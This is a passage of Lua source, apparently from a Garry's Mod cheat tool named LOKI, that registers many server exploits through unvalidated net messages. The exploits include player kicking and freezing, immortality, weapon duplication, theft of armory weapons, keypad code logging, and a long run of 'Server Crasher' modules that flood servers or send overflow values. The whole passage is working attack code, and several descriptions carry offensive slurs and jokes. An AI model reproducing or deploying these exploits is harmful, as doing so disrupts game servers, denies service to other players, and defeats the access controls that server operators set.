7985 { typ = "func", Name = "Random Weapon", args = {6}, },
7986 { typ = "func", Name = "Jailbreak", args = {7}, },
7987 },
7988} )
7989LOKI.AddExploit( "Zombie Mode", {
7990 desc = "Raise an army of unkillable zombies",
7991 severity = 1,
7992 bools = {enabled = false},
7993 status = 1,
7994 times_per_tick = 1,
7995 vars = {},
7996 scan = function() return LOKI.ValidNetString( "RevivePlayer" ) end,
7997 OnEnable = function(var, sploit)
7998 for k, v in ipairs(LOKI.GetStored( "immortal_plyz", {} )) do
7999 if IsValid(v) then
8000 if(v:IsPlayer()) then
8001 LOKI.NetStart( sploit, "RevivePlayer")
8002 net.WriteEntity(v)
8003 net.SendToServer()
8004 end
8005 end
8006 end
8007 end,
8008 hooks = {
8009 CreateMove = function(tbl, sploit, varargs)
8010 local cmd = varargs[1]
8011 if(cmd:GetMouseX() == 0 && cmd:GetMouseY() == 0 && LOKI.LastAngles) then
8012 cmd:SetViewAngles(LOKI.LastAngles)
8013 else
8014 LOKI.LastAngles = cmd:GetViewAngles()
8015 end
8016 end,
8017 entity_killed = function(tbl, sploit, varargs)
8018 local data = varargs[1]
8019 local ent = Entity(data.entindex_killed)
8020 local t = LOKI.GetStored( "immortal_plyz", {} )
8021 if table.HasValue( t, ent ) then
8022 if(ent:IsPlayer()) then
8023 LOKI.NetStart( sploit, "RevivePlayer")
8024 net.WriteEntity(ent)
8025 net.SendToServer()
8026 end
8027 end
8028 end,
8029 player_spawn = function(tbl, sploit, varargs)
8030 local data = varargs[1]
8031 local ent = Player(data.userid)
8032 local t = LOKI.GetStored( "immortal_plyz", {} )
8033 if table.HasValue( t, ent ) then
8034 if(ent:IsPlayer()) then
8035 LOKI.NetStart( sploit, "RevivePlayer")
8036 net.WriteEntity(ent)
8037 net.SendToServer()
8038 end
8039 end
8040 end,
8041 },
8042 functions = {
8043 { typ = "players", addr = "immortal_plyz" },
8044 { typ = "bool", },
8045 },
8046} )
8047LOKI.AddExploit( "Zombie Mode", {
8048 desc = "Become immortal",
8049 severity = 1,
8050 bools = {enabled = false},
8051 status = 1,
8052 times_per_tick = 1,
8053 vars = {},
8054 scan = function() return LOKI.ValidNetString( "revival_revive_accept" ) end,
8055 hooks = {
8056 entity_killed = function(tbl, sploit, varargs)
8057 local data = varargs[1]
8058 local ent = Entity(data.entindex_killed)
8059 if(ent:IsPlayer() && ent == LOKI.GetLP()) then
8060 LOKI.NetStart( sploit, "revival_revive_accept")
8061 net.SendToServer()
8062 end
8063 end,
8064 },
8065 functions = {
8066 { typ = "bool", },
8067 },
8068} )
8069LOKI.AddExploit( "Zombie Mode", {
8070 desc = "Infect players with the T-Virus",
8071 severity = 1,
8072 bools = {enabled = false},
8073 status = 1,
8074 times_per_tick = 1,
8075 vars = {},
8076 scan = function() return LOKI.ValidNetString( "MakeZombie" ) end,
8077 hooks = {
8078 Think = function(tbl, sploit, varargs)
8079 for k, v in pairs(LOKI.GetStored("zomb_plyz", {})) do
8080 if(!IsValid(v)) then continue end
8081 LOKI.NetStart(sploit, "MakeZombie")
8082 net.WriteEntity(v)
8083 net.SendToServer()
8084 end
8085 end,
8086 },
8087 functions = {
8088 { typ = "players", addr = "zomb_plyz" },
8089 { typ = "bool", },
8090 },
8091} )
8092LOKI.AddExploit( "Zombie Mode", {
8093 desc = "Recover from any injury",
8094 severity = 1,
8095 bools = {enabled = false},
8096 status = 1,
8097 times_per_tick = 1,
8098 vars = {},
8099 scan = function() return LOKI.ValidNetString( "UseMedkit" ) end,
8100 hooks = {
8101 Think = function(tbl, sploit, varargs)
8102 for k, v in pairs(LOKI.GetStored("zomb2_plyz", {})) do
8103 if(!IsValid(v)) then continue end
8104 LOKI.NetStart(sploit, "UseMedkit")
8105 net.WriteEntity(v)
8106 net.SendToServer()
8107 end
8108 end,
8109 },
8110 functions = {
8111 { typ = "players", addr = "zomb2_plyz" },
8112 { typ = "bool", },
8113 },
8114} )
8115LOKI.AddExploit( "Zombie Mode", {
8116 desc = "Become immortal",
8117 severity = 1,
8118 bools = {enabled = false},
8119 status = 1,
8120 times_per_tick = 1,
8121 vars = {},
8122 scan = function() return LOKI.ValidNetString( "079ServerAction" ) end,
8123 hooks = {
8124 entity_killed = function(tbl, sploit, varargs)
8125 local data = varargs[1]
8126 local ent = Entity(data.entindex_killed)
8127 if(ent:IsPlayer() && ent == LOKI.GetLP()) then
8128 sploit.vars.pos = ent:GetPos()
8129 end
8130 end,
8131 player_spawn = function(tbl, sploit, varargs)
8132 local data = varargs[1]
8133 local ent = Player(data.userid)
8134 if(ent:IsPlayer() && ent == LOKI.GetLP() && sploit.vars.pos != Vector(0,0,0)) then
8135 LOKI.NetStart(sploit, "079ServerAction")
8136 net.WriteString("Move")
8137 net.WriteVector(sploit.vars.pos)
8138 net.SendToServer()
8139 sploit.vars.pos = Vector(0,0,0)
8140 end
8141 end,
8142 },
8143 functions = {
8144 { typ = "bool", },
8145 },
8146} )
8147LOKI.AddExploit( "Dupe Weapons", {
8148 desc = "Hold any gun and press button to dupe",
8149 severity = 1,
8150 bools = {enabled = false},
8151 status = 1,
8152 times_per_tick = math.huge,
8153 scan = function() return LOKI.ValidNetString( "ItemStoreSyncItem", "RevivePlayer" ) end,
8154 hooks = {
8155 Think = function(tbl, sploit)
8156 LOKI.RCC(sploit, "kill")
8157 LOKI.RCC(sploit, "darkrp", "invholster")
8158 LOKI.NetStart(sploit, "RevivePlayer", true)
8159 net.WriteEntity(LOKI.GetLP())
8160 net.SendToServer()
8161 end,
8162 },
8163 functions = {
8164 { typ = "func", Name = "Dupe" },
8165 },
8166} )
8167LOKI.AddExploit( "Dupe Weapons", {
8168 desc = "Disassemble your weapons then nurse them back to health",
8169 severity = 1,
8170 bools = {enabled = false},
8171 status = 2,
8172 times_per_tick = math.huge,
8173 scan = function() return LOKI.ValidNetString( "ItemStoreSplit" ) || LOKI.ValidNetString( "_ItemStoreSplit" ) || istable(itemstore) end,
8174 hooks = {
8175 Think = function(tbl, sploit)
8176 if(LOKI.ValidNetString( "ItemStoreSplit" ) || LOKI.ValidNetString( "_ItemStoreSplit" )) then
8177 LOKI.NetStart(sploit, {"ItemStoreSplit", "_ItemStoreSplit"})
8178 net.WriteUInt(LOKI.GetLP().InventoryID, 32)
8179 net.WriteUInt(tonumber(LOKI.GetStored( "dupe_index", 1 )), 32)
8180 net.WriteUInt(0, 32)
8181 net.SendToServer()
8182 else
8183 LOKI.RCC( "itemstore_split", LOKI.GetLP().InventoryID, tonumber(LOKI.GetStored( "dupe_index", 1 )), 0 )
8184 end
8185 end,
8186 },
8187 functions = {
8188 { typ = "float", Name = "Index", default = 1, min = 0, max = math.huge, addr = "dupe_index" },
8189 { typ = "func", Name = "Dupe"},
8190 },
8191} )
8192LOKI.AddExploit( "Freeze Players", {
8193 desc = "Freeze selected players next time they respawn",
8194 severity = 50,
8195 bools = {enabled = false},
8196 status = 1,
8197 times_per_tick = 1,
8198 vars = {},
8199 scan = function() return LOKI.ValidNetString( "NLR.ActionPlayer" ) end,
8200 hooks = {
8201 Think = function(tbl, sploit)
8202 for k, v in ipairs( LOKI.GetStored( "freeze_plyz", {} ) ) do
8203 if IsValid(v) then
8204 if(v:IsPlayer()) then
8205 LOKI.NetStart( sploit, "NLR.ActionPlayer")
8206 net.WriteEntity(v)
8207 net.SendToServer()
8208 end
8209 end
8210 end
8211 end,
8212 },
8213 functions = {
8214 { typ = "players", addr = "freeze_plyz" },
8215 { typ = "bool", },
8216 },
8217} )
8218LOKI.AddExploit( "Kick Exploit", {
8219 desc = "Kick selected players",
8220 severity = 1,
8221 bools = {enabled = false},
8222 status = 3,
8223 times_per_tick = 1,
8224 vars = {},
8225 scan = function() return LOKI.ValidNetString( "plyWarning" ) end,
8226 hooks = {
8227 Think = function(tbl, sploit)
8228 for k, v in ipairs( LOKI.GetStored( "kick_plyz", {} ) ) do
8229 if IsValid( v ) then
8230 if(v:IsPlayer()) then
8231 LOKI.NetStart( sploit, "plyWarning")
8232 net.WriteEntity(v)
8233 net.WriteString('You have to select a player before doing a action.')
8234 net.SendToServer()
8235 end
8236 end
8237 end
8238 end,
8239 },
8240 functions = {
8241 { typ = "players", addr = "kick_plyz" },
8242 { typ = "func", Name = "Kick" },
8243 },
8244} )
8245LOKI.AddExploit( "Kick Exploit", {
8246 desc = "Kick selected players",
8247 severity = 1,
8248 bools = {enabled = false},
8249 status = -1,
8250 times_per_tick = 1,
8251 vars = {},
8252 scan = function() return LOKI.ValidNetString( "NLRKick" ) end,
8253 hooks = {
8254 Think = function(tbl, sploit)
8255 for k, v in ipairs( LOKI.GetStored( "kick2_plyz", {} ) ) do
8256 if IsValid( v ) then
8257 if(v:IsPlayer()) then
8258 LOKI.NetStart( sploit, "NLRKick")
8259 net.WriteEntity(v)
8260 net.SendToServer()
8261 end
8262 end
8263 end
8264 end,
8265 },
8266 functions = {
8267 { typ = "players", addr = "kick2_plyz" },
8268 { typ = "func", Name = "Kick" },
8269 },
8270} )
8271LOKI.AddExploit( "Kick Exploit", {
8272 desc = "Kick selected players",
8273 severity = 1,
8274 bools = {enabled = false},
8275 status = -1,
8276 times_per_tick = 1,
8277 vars = {},
8278 scan = function() return LOKI.ValidNetString( "RecKickAFKer" ) end,
8279 hooks = {
8280 Think = function(tbl, sploit)
8281 for k, v in ipairs( LOKI.GetStored( "kick3_plyz", {} ) ) do
8282 if IsValid(v) then
8283 if(v:IsPlayer()) then
8284 LOKI.NetStart( sploit, "RecKickAFKer")
8285 net.WriteEntity(v)
8286 net.SendToServer()
8287 end
8288 end
8289 end
8290 end,
8291 },
8292 functions = {
8293 { typ = "players", addr = "kick3_plyz" },
8294 { typ = "func", Name = "Kick" },
8295 },
8296} )
8297LOKI.AddExploit( "Kick Exploit", {
8298 desc = "Kick all players",
8299 severity = 1,
8300 bools = {enabled = false},
8301 status = 2,
8302 times_per_tick = math.huge,
8303 scan = function() return (LOKI.ValidNetString( "simfphys_turnsignal" )) end,
8304 hooks = {
8305 Think = function(tbl, sploit)
8306 LOKI.NetStart( sploit, "simfphys_turnsignal")
8307 net.WriteEntity(LOKI.GetLP())
8308 net.SendToServer()
8309 end,
8310 },
8311 functions = {
8312 { typ = "bool", },
8313 },
8314} )
8315LOKI.AddExploit( "Kick Exploit", {
8316 desc = "Kick selected players",
8317 severity = 1,
8318 bools = {enabled = false},
8319 status = 2,
8320 times_per_tick = 1,
8321 vars = {},
8322 scan = function() return LOKI.ValidNetString( "send" ) end,
8323 hooks = {
8324 Think = function(tbl, sploit)
8325 for k, v in ipairs( LOKI.GetStored( "kick4_plyz", {} ) ) do
8326 if IsValid(v) then
8327 if(v:IsPlayer()) then
8328 LOKI.NetStart( sploit, "send")
8329 net.WriteTable({1})
8330 net.WriteTable({1})
8331 net.WriteEntity(v)
8332 net.WriteString("GET ODIUM.PRO")
8333 net.SendToServer()
8334 end
8335 end
8336 end
8337 end,
8338 },
8339 functions = {
8340 { typ = "players", addr = "kick4_plyz" },
8341 { typ = "func", Name = "Kick" },
8342 },
8343} )
8344LOKI.AddExploit( "Kick Exploit", {
8345 desc = "Kick selected players",
8346 severity = 1,
8347 bools = {enabled = false},
8348 status = 1,
8349 times_per_tick = math.huge,
8350 vars = {},
8351 scan = function() return LOKI.ValidNetString( "sendteslaeffect" ) end,
8352 hooks = {
8353 Think = function(tbl, sploit)
8354 for k, v in ipairs( LOKI.GetStored( "kick5_plyz", {} ) ) do
8355 if IsValid(v) then
8356 if(v:IsPlayer()) then
8357 LOKI.NetStart( sploit, "sendteslaeffect")
8358 net.WriteEntity(v)
8359 net.SendToServer()
8360 end
8361 end
8362 end
8363 end,
8364 },
8365 functions = {
8366 { typ = "players", addr = "kick5_plyz" },
8367 { typ = "bool" },
8368 },
8369} )
8370LOKI.AddExploit( "Respawn Exploit", {
8371 desc = "Respawn yourself",
8372 severity = 1,
8373 bools = {enabled = false},
8374 status = 1,
8375 times_per_tick = 1,
8376 vars = {},
8377 scan = function() return LOKI.DynamicNetString("DarkRP_", "_ForceSpawn") end,
8378 hooks = {
8379 Think = function(tbl, sploit)
8380 LOKI.NetStart( sploit, sploit.channel )
8381 net.SendToServer()
8382 end,
8383 },
8384 functions = {
8385 { typ = "func", Name = "Respawn", args = {}, },
8386 },
8387} )
8388LOKI.AddExploit( "Respawn Exploit", {
8389 desc = "Respawn yourself",
8390 severity = 1,
8391 bools = {enabled = false},
8392 status = 1,
8393 times_per_tick = 1,
8394 vars = {},
8395 scan = function() return LOKI.ValidNetString( "NLR_SPAWN" ) end,
8396 hooks = {
8397 Think = function(tbl, sploit)
8398 LOKI.NetStart( sploit, "NLR_SPAWN")
8399 net.WriteEntity(LOKI.GetLP())
8400 net.SendToServer()
8401 end,
8402 },
8403 functions = {
8404 { typ = "func", Name = "Respawn", args = {}, },
8405 },
8406} )
8407LOKI.AddExploit( "Steal Police Guns", {
8408 desc = "WE WUZ KANGZ ND SHIET!",
8409 severity = 1,
8410 bools = {enabled = false},
8411 status = 1,
8412 times_per_tick = 1,
8413 vars = {},
8414 scan = function() return LOKI.ValidNetString( "ARMORY_RetrieveWeapon" ) end,
8415 hooks = {
8416 Think = function(tbl, sploit)
8417 local r_tbl = LOKI.RecursiveGetVar(sploit, {"vars", "Think"}, "table", true)
8418 if(r_tbl.cooldown == 0) then
8419 r_tbl.cooldown = (LOKI.REAL_CURTIME + 300)
8420 end
8421 LOKI.NetStart( sploit, "ARMORY_RetrieveWeapon")
8422 net.WriteString("weapon" .. tbl[1])
8423 net.SendToServer()
8424 end,
8425 },
8426 functions = {
8427 { typ = "func", Name = "Get " .. (ARMORY_WEAPON_Weapon1Name || "M16"), args = {1}, },
8428 { typ = "func", Name = "Get " .. (ARMORY_WEAPON_Weapon2Name || "Shotgun"), args = {2}, },
8429 { typ = "func", Name = "Get " .. (ARMORY_WEAPON_Weapon3Name || "Sniper"), args = {3}, },
8430 },
8431} )
8432LOKI.AddExploit( "Build/Kill", {
8433 desc = "Back in my day, we didn't need 'safe spaces'",
8434 severity = 1,
8435 bools = {enabled = false},
8436 status = 1,
8437 times_per_tick = 1,
8438 vars = {},
8439 scan = function() return LOKI.ValidNetString( "BuilderXToggleKill" ) end,
8440 hooks = {
8441 Think = function(tbl, sploit)
8442 for k, v in ipairs( LOKI.GetStored( "buildkill_plyz", {} ) ) do
8443 if !IsValid(v) then continue end
8444 if(tbl[1] == 1) then
8445 LOKI.NetStart( sploit, "BuilderXToggleBuild")
8446 net.WriteEntity(v)
8447 net.SendToServer()
8448 elseif(tbl[1] == 2) then
8449 LOKI.NetStart( sploit, "BuilderXToggleKill")
8450 net.WriteEntity(v)
8451 net.SendToServer()
8452 end
8453 end
8454 end,
8455 },
8456 functions = {
8457 { typ = "players", addr = "buildkill_plyz" },
8458 { typ = "func", Name = "Toggle Build", args = {1}, },
8459 { typ = "func", Name = "Toggle Kill", args = {2}, }
8460 },
8461} )
8462LOKI.AddExploit( "Keypad Hacker", {
8463 desc = "Roleplay as a Hacker by exploding all nearby keypads",
8464 severity = 1,
8465 bools = {enabled = false},
8466 status = 1,
8467 times_per_tick = 1,
8468 vars = {},
8469 prevalidated = true,
8470 scan = function() return LOKI.ValidNetString( "start_wd_emp" ) && wd_Config != nil end,
8471 hooks = {
8472 Think = function(tbl, sploit)
8473 local r_tbl = LOKI.RecursiveGetVar(sploit, {"vars", "Think"}, "table", true)
8474 if(r_tbl.cooldown == 0) then
8475 r_tbl.cooldown = (LOKI.REAL_CURTIME + (wd_Config.EmpCooldown || 100))
8476 end
8477 LOKI.NetStart( sploit, "start_wd_emp")
8478 net.SendToServer()
8479 end,
8480 },
8481 functions = {
8482 { typ = "func", Name = "Hack", },
8483 },
8484} )
8485LOKI.AddExploit( "Ja, Mein Führer", {
8486 desc = "Submit candidacy for the Führer election",
8487 severity = 1,
8488 bools = {enabled = false},
8489 status = 1,
8490 times_per_tick = 1,
8491 vars = {},
8492 scan = function() return LOKI.ValidNetString( "1942_Fuhrer_SubmitCandidacy" ) end,
8493 hooks = {
8494 Think = function(tbl, sploit)
8495 LOKI.NetStart( sploit, "1942_Fuhrer_SubmitCandidacy")
8496 net.WriteString(LOKI.GetLP():Nick())
8497 net.SendToServer()
8498 end,
8499 },
8500 functions = {
8501 { typ = "func", Name = "Submit", },
8502 },
8503} )
8504LOKI.AddExploit( "Keypad Hacker", {
8505 desc = "Inspector gadget these fools",
8506 severity = 1,
8507 bools = {enabled = false},
8508 status = 1,
8509 times_per_tick = 1,
8510 vars = {},
8511 scan = function() return LOKI.DynamicNetString( "keypad" ) end,
8512 hooks = {
8513 PostRender = function(tbl, sploit)
8514 local e = LOKI.GetLP():GetEyeTrace().Entity
8515 if IsValid(e) and e.GetStatus then
8516 local text;
8517 local color;
8518 if(LOKI.KeypadCodes[e] && LOKI.KeypadCodes[e] != "") then
8519 text = LOKI.KeypadCodes[e];
8520 color = Color( 105, 255, 105, 150 )
8521 elseif(LOKI.TempKeypadCodes[e] && LOKI.TempKeypadCodes[e] != "") then
8522 text = LOKI.TempKeypadCodes[e];
8523 color = Color( 250, 150, 150, 150 )
8524 else
8525 text = "Unknown"
8526 color = Color(150,150,150,150)
8527 end
8528 surface.SetDrawColor( Color( 0,0,50, 150 ) )
8529 surface.SetMaterial( grad )
8530 surface.DrawTexturedRect( ScrW() / 2 + 57, ScrH() / 2 - 7, 50, 15 )
8531 LOKI.DrawText(text, "DermaDefault", ScrW() / 2 + 60, ScrH() / 2, color, TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
8532 end
8533 for k,v in ipairs(LOKI.ents.FindByGlobal("GetStatus")) do
8534 if(v.GetNumStars && !v.GetText) then
8535 v.GetText = function() return string.rep('*', v:GetNumStars()) end
8536 end
8537 if(!v.GetSecure) then
8538 v.GetSecure = function() return true end
8539 end
8540 if IsValid(v) then
8541 if v != e and LOKI.GetLP():GetPos():Distance( v:GetPos() ) < 8000 then
8542 local pos = v:GetPos():ToScreen()
8543 if pos.x > 0 and pos.x < ScrW() and pos.y > 0 and pos.y < ScrH() then
8544 if (LOKI.KeypadCodes[v] && LOKI.KeypadCodes[v] != "") then
8545 surface.SetDrawColor( Color( 0,0,50, 150 ) )
8546 surface.SetMaterial( grad )
8547 surface.DrawTexturedRect( pos.x, pos.y, 50, 15 )
8548 LOKI.DrawText( LOKI.KeypadCodes[v], "DermaDefault", pos.x + 5, pos.y + 6, Color( 105, 255, 105, 150 ), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
8549 else
8550 if(LOKI.TempKeypadCodes[v] && LOKI.TempKeypadCodes[v] != "") then
8551 surface.SetDrawColor( Color( 0,0,50, 150 ) )
8552 surface.SetMaterial( grad )
8553 surface.DrawTexturedRect( pos.x, pos.y, 50, 15 )
8554 LOKI.DrawText( LOKI.TempKeypadCodes[v], "DermaDefault", pos.x + 5, pos.y + 6, Color( 250, 150, 150, 150 ), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
8555 else
8556 surface.SetDrawColor( Color( 0,0,50, 150 ) )
8557 surface.SetMaterial( grad )
8558 surface.DrawTexturedRect( pos.x, pos.y, 50, 15 )
8559 LOKI.DrawText( "Unknown", "DermaDefault", pos.x + 5, pos.y + 6, Color(150,150,150,150), TEXT_ALIGN_LEFT, TEXT_ALIGN_CENTER)
8560 end
8561 end
8562 end
8563 end
8564 end
8565 end
8566 end,
8567 Tick = function(tbl, sploit)
8568 for k, v in ipairs( player.GetAll() ) do
8569 local kp = v:GetEyeTrace().Entity
8570 if IsValid(kp) && IsValid(v) and kp.GetStatus and v:EyePos():Distance(kp:GetPos()) <= 120 then
8571 LOKI.TempKeypadCodes[kp] = LOKI.TempKeypadCodes[kp] or ""
8572 LOKI.KeypadText[kp] = LOKI.KeypadText[kp] or ""
8573 LOKI.KeypadStatus[kp] = LOKI.KeypadStatus[kp] or 0
8574
8575 if isfunction(kp.GetText) && isfunction(kp.GetStatus) && (kp:GetText() != LOKI.KeypadText[kp] or kp:GetStatus() != LOKI.KeypadStatus[kp]) then
8576 LOKI.KeypadText[kp] = kp:GetText()
8577 LOKI.KeypadStatus[kp] = kp:GetStatus()
8578 if(LOKI.KeypadText[kp] && !kp:GetSecure()) then
8579 LOKI.TempKeypadCodes[kp] = LOKI.KeypadText[kp]
8580 if LOKI.KeypadStatus[kp] == LOKI.GetKeypadStatus(kp)[2] && LOKI.TempKeypadCodes[kp] && LOKI.TempKeypadCodes[kp] != "" then
8581 LOKI.KeypadCodes[kp] = LOKI.TempKeypadCodes[kp]
8582 if(!system.HasFocus()) then system.FlashWindow() end
8583 end
8584 else
8585 local i = LOKI.KPGetHoveredElement(v, kp)
8586 if (i) then i = i.text end
8587 if LOKI.KeypadText[kp] then
8588 if kp:GetStatus() == LOKI.GetKeypadStatus(kp)[2] && LOKI.TempKeypadCodes[kp] && LOKI.TempKeypadCodes[kp] != "" then
8589 LOKI.KeypadCodes[kp] = LOKI.TempKeypadCodes[kp]
8590 if(!system.HasFocus()) then system.FlashWindow() end
8591 end
8592 end
8593
8594 if LOKI.KeypadText[kp] == "" || kp:GetStatus() == LOKI.GetKeypadStatus(kp)[3] then
8595 LOKI.TempKeypadCodes[kp] = ""
8596 end
8597
8598 if(LOKI.SafeToNumber(i) && (LOKI.SafeToNumber(i) > 0 && LOKI.SafeToNumber(i) < 10) && kp:GetText():len() != 0) then
8599 LOKI.TempKeypadCodes[kp] = LOKI.TempKeypadCodes[kp]..LOKI.SafeToNumber(i)
8600 end
8601 end
8602 end
8603 end
8604 end
8605 end,
8606 },
8607 functions = {
8608 { typ = "bool", },
8609 },
8610} )
8611LOKI.AddExploit( "Server Crasher", {
8612 desc = "Guaranteed server crash",
8613 severity = 100,
8614 bools = {enabled = false},
8615 status = 1,
8616 times_per_tick = math.huge,
8617 vars = {},
8618 prevalidated = true,
8619 scan = function() return (LOKI.ValidNetString( "textstickers_entdata" ) || LOKI.ValidNetString( "texstickers_entdata" )) && TexStickers end,
8620 hooks = {
8621 Think = function(tbl, sploit)
8622 if(LOKI.ValidNetString( "textstickers_entdata" )) then
8623 LOKI.NetStart( sploit, "textstickers_entdata" )
8624 else
8625 LOKI.NetStart( sploit, "texstickers_entdata" )
8626 end
8627 net.WriteUInt( 0xFFFFFFFF, 32 )
8628 net.SendToServer()
8629 end,
8630 },
8631 functions = {
8632 { typ = "bool", },
8633 },
8634} )
8635LOKI.AddExploit( "Server Crasher", {
8636 desc = "Dunks the server in one",
8637 severity = 100,
8638 bools = {enabled = false},
8639 status = 1,
8640 times_per_tick = 1,
8641 vars = {},
8642 scan = function() return LOKI.ValidNetString( "fly_over_end" ) end,
8643 hooks = {
8644 Think = function(tbl, sploit)
8645 LOKI.NetStart( sploit, "fly_over_end" )
8646 net.WriteString(tostring(math.pow(2, 64)).." "..tostring(math.pow(2, 64)).." "..tostring(math.pow(2, 64)))
8647 net.SendToServer()
8648 end,
8649 },
8650 functions = {
8651 { typ = "func", Name = "Crash Jackson", },
8652 },
8653} )
8654LOKI.AddExploit( "Server Crasher", {
8655 desc = "Instantly 1 tap the server",
8656 severity = 100,
8657 bools = {enabled = false},
8658 status = 3,
8659 times_per_tick = 1,
8660 vars = {},
8661 scan = function() return LOKI.ValidNetString( "SimplicityAC_aysent" ) end,
8662 hooks = {
8663 Think = function(tbl, sploit)
8664 LOKI.NetStart( sploit, "SimplicityAC_aysent")
8665 net.WriteUInt(1, 8)
8666 net.WriteUInt(0xFFFFFFFF, 32)
8667 net.WriteTable({})
8668 net.SendToServer()
8669 end,
8670 },
8671 functions = {
8672 { typ = "func", Name = "Crash it", },
8673 },
8674} )
8675LOKI.AddExploit( "Server Crasher", {
8676 desc = "Whoops, did I accidentally leave this in here?",
8677 severity = 100,
8678 bools = {enabled = false},
8679 status = 2,
8680 times_per_tick = math.huge,
8681 scan = function() return LOKI.ValidNetString( "rHit.Confirm.Placement" ) end,
8682 hooks = {
8683 Think = function(tbl, sploit)
8684 LOKI.NetStart( sploit, 'rHit.Confirm.Placement' )
8685 net.WriteInt( 0xFFFFFFFF, 32 )
8686 net.WriteEntity( LOKI.GetLP() )
8687 net.SendToServer()
8688 end,
8689 net = {
8690 Receive = function(sploit, strName)
8691 if(strName == "rHit.Send.Message") then
8692 return false
8693 end
8694 end,
8695 },
8696 },
8697 functions = {
8698 { typ = "bool", },
8699 },
8700} )
8701LOKI.AddExploit( "Server Crasher", {
8702 desc = "Brutal server rape",
8703 severity = 100,
8704 bools = {enabled = false},
8705 status = 1,
8706 times_per_tick = math.huge,
8707 scan = function() return LOKI.ValidNetString( "thiefnpc" ) || LOKI.ValidNetString( "cst_badnpc" ) end,
8708 hooks = {
8709 Think = function(tbl, sploit)
8710 if(LOKI.ValidNetString( "thiefnpc" )) then
8711 LOKI.NetStart( sploit, "thiefnpc")
8712 elseif(LOKI.ValidNetString( "cst_badnpc" )) then
8713 LOKI.NetStart( sploit, "cst_badnpc")
8714 else
8715 return
8716 end
8717 net.WriteDouble(LOKI.GetLP():EntIndex())
8718 net.SendToServer()
8719 end,
8720 },
8721 functions = {
8722 { typ = "bool", },
8723 },
8724} )
8725LOKI.AddExploit( "Server Crasher", {
8726 desc = "memset(SERVER, nullptr, size(SERVER) + 1)",
8727 severity = 100,
8728 bools = {enabled = false},
8729 status = 1,
8730 times_per_tick = math.huge,
8731 scan = function() return LOKI.ValidNetString( "nSetExpression" ) end,
8732 hooks = {
8733 Think = function(tbl, sploit)
8734 if(!sploit.var || sploit.var == 3) then
8735 sploit.var = 1
8736 else
8737 sploit.var = sploit.var + 1
8738 end
8739 LOKI.NetStart( sploit, "nSetExpression")
8740 net.WriteFloat(sploit.var)
8741 net.SendToServer()
8742 end,
8743 },
8744 functions = {
8745 { typ = "bool", },
8746 },
8747} )
8748LOKI.AddExploit( "Server Crasher", {
8749 desc = "*flex*",
8750 severity = 100,
8751 bools = {enabled = false},
8752 status = 1,
8753 times_per_tick = math.huge,
8754 msgs_per_tick = 2,
8755 prevalidated = true,
8756 scan = function() return LOKI.ValidNetString( "TowTruck_CreateTowTruck", "TOWTRUCK_RemoveTowTruck" ) end,
8757 hooks = {
8758 Think = function(tbl, sploit)
8759 LOKI.NetStart( sploit, "TowTruck_CreateTowTruck")
8760 net.SendToServer()
8761 LOKI.NetStart( sploit, "TOWTRUCK_RemoveTowTruck")
8762 net.SendToServer()
8763 end,
8764 usermessage = {
8765 IncomingMessage = function(sploit, varargs)
8766 if(varargs[1] == "_Notify") then
8767 return false
8768 end
8769 end,
8770 },
8771 },
8772 functions = {
8773 { typ = "bool", },
8774 },
8775} )
8776LOKI.AddExploit( "Server Crasher", {
8777 desc = tostring(LOKI.GetLP()) .. " hit SERVER in head for 100 damage",
8778 severity = 100,
8779 bools = {enabled = false},
8780 status = 2,
8781 times_per_tick = math.huge,
8782 scan = function() return LOKI.ValidNetString( "StaminaDrowning" ) end,
8783 hooks = {
8784 Think = function(tbl, sploit)
8785 LOKI.NetStart( sploit, "StaminaDrowning")
8786 net.SendToServer()
8787 end,
8788 },
8789 functions = {
8790 { typ = "bool", },
8791 },
8792} )
8793LOKI.AddExploit( "Server Crasher", {
8794 desc = "game.GetWorld():Activate()",
8795 severity = 100,
8796 bools = {enabled = false},
8797 status = 1,
8798 times_per_tick = math.huge,
8799 vars = {},
8800 scan = function() return LOKI.ValidNetString( "CRAFTINGMOD_INVENTORY" ) end,
8801 initial = function(sploit)
8802 local vars = sploit.vars || LOKI.RecursiveGetVar(sploit, {"vars"}, "table", true)
8803 if(!vars.NAME) then
8804 local ItemsList = LOKI.RecursiveGetVar(CRAFTINGMOD, {"ITEMS", "GetItemsList"}, "function")
8805 if(ItemsList) then
8806 for k, v in pairs(ItemsList(CRAFTINGMOD.ITEMS)) do
8807 if(!v.LoadData) then
8808 vars.NAME = v.NAME
8809 break
8810 end
8811 end
8812 end
8813 end
8814 end,
8815 hooks = {
8816 Think = function(tbl, sploit)
8817 local vars = sploit.vars || LOKI.RecursiveGetVar(sploit, {"vars"}, "table", true)
8818 LOKI.NetStart(sploit, "CRAFTINGMOD_INVENTORY")
8819 net.WriteTable({type = 6, ENTITY = "worldspawn", SKIN = 0, MODEL = "models/error.mdl", NAME = vars.NAME || "Beer"})
8820 net.WriteInt(0, 16)
8821 net.WriteString(tostring(LOKI.RecursiveGetVar(CRAFTINGMOD, {"PANELS", "Inventory_ID"}, "string") || 0))
8822 net.SendToServer()
8823 end,
8824 },
8825 functions = {
8826 { typ = "bool", Name = "Give me shit", },
8827 },
8828} )
8829--WUMAAccessStream has a ReadData related lag exploit
8830LOKI.AddExploit( "Server Crasher", {
8831 desc = "Crashes any server",
8832 severity = 100,
8833 bools = {enabled = false},
8834 status = 1,
8835 times_per_tick = math.huge,
8836 scan = function() return LOKI.ValidNetString( "npctool_relman_up" ) end,
8837 hooks = {
8838 Think = function(tbl, sploit)
8839 LOKI.NetStart(sploit, "npctool_relman_up")
8840 net.WriteUInt(-1, 12)
8841 net.SendToServer()
8842 end,
8843 },
8844 functions = {
8845 { typ = "bool" },
8846 },
8847} )
8848LOKI.AddExploit( "Server Crasher", {
8849 desc = "Overflow the server bathtub",
8850 severity = 100,
8851 bools = {enabled = false},
8852 status = 1,
8853 times_per_tick = math.huge,
8854 scan = function() return LOKI.ValidNetString( "CreateBadgeSpray" ) end,
8855 hooks = {
8856 Think = function(tbl, sploit)
8857 LOKI.NetStart( sploit, "CreateBadgeSpray")
8858 net.SendToServer()
8859 end,
8860 },
8861 functions = {
8862 { typ = "bool", },
8863 },
8864} )
8865LOKI.AddExploit( "Server Crasher", {
8866 desc = "Shred the server",
8867 severity = 100,
8868 bools = {enabled = false},
8869 status = 1,
8870 times_per_tick = math.huge,
